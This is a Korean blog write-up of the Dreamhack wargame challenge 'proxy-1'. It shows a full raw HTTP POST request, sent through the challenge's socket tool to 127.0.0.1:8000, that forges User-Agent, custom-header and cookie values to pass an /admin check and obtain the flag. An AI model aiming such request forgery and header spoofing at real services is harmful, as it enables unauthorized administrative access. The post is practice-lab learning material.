Wargame/Web

[Dreamhack] proxy-1

월루이 2022. 6. 9.

문제

 

 

 

 

 

 


문제풀이

 

 

일단, 감이 안 잡히니 코드를 보자.

 

 

코드를 보니 socket 사이트에서 host, port, data  부분을 입력해라란 뜻으로 이해한다.

 

 

 

 

 

해석하면 POST방식으로 위의 조건을 다 만족한 채로 요청하면, FLAG를 얻을 수 있다고 한다 !

 

일단, 먼저 host = 127.0.0.1, port = 8000을,

data에는 post 요청 헤더를 쓰면 되는 것을 알 수 있다.

 

 

 

 

⭐️조건⭐️

1. ip 주소가 127.0.0.1이어야 한다.

host = 127.0.0.1

 

2. User-Agent가 Admin Browser이어야 한다.

User-Agent : Admin Browser

 

3. DreamhackUser이 admin이어야 한다.

DreamhackUser : admin

 

4. 쿠키를 확인했을때, admin이어야 한다.

Cookie: admin = true

 

5. userid가 admin이어야 한다.

userid=admin

(이때, 꼭 한 줄 띄우고 써줘야 한다.)

이유 : 위에는 헤더고, 얘는 요청하는 데이터이기 때문이다..🥹

 

6. POST 방식으로 /admin에 전송

POST /admin HTTP/1.1

 

이를 통합하게 되면, 아래와 같은 요청 헤더가 나오게된다.

 

POST /admin HTTP/1.1
Host: host2.dreamhack.games
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin = true

userid=admin

 

 

 

 

하지만, 이렇게 넣으면 계속 Admin Browser이 아니라고 뜬다.

 

그래서 몇번 삽질한 결과, 

Content-Length: 12
Content-Type: application/x-www-form-urlencoded

이 두줄을 추가하니 FLAG가 나왔다.

 

POST /admin HTTP/1.1
Host: host2.dreamhack.games
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin = true

userid=admin

 

 

 

 

위의 내용을 넣어서 보내면

 

 

 

 

 

이렇게 나온다 🙂 성공 !

 

'Wargame > Web' 카테고리의 다른 글

[Dreamhack] image-storage  (0) 2022.06.13
[Dreamhack] command-injection-1  (0) 2022.06.09
[XSS-GAME] Level6  (0) 2022.06.03
[XSS-GAME] Level5  (0) 2022.06.02
[XSS-GAME] Level4  (0) 2022.06.02

댓글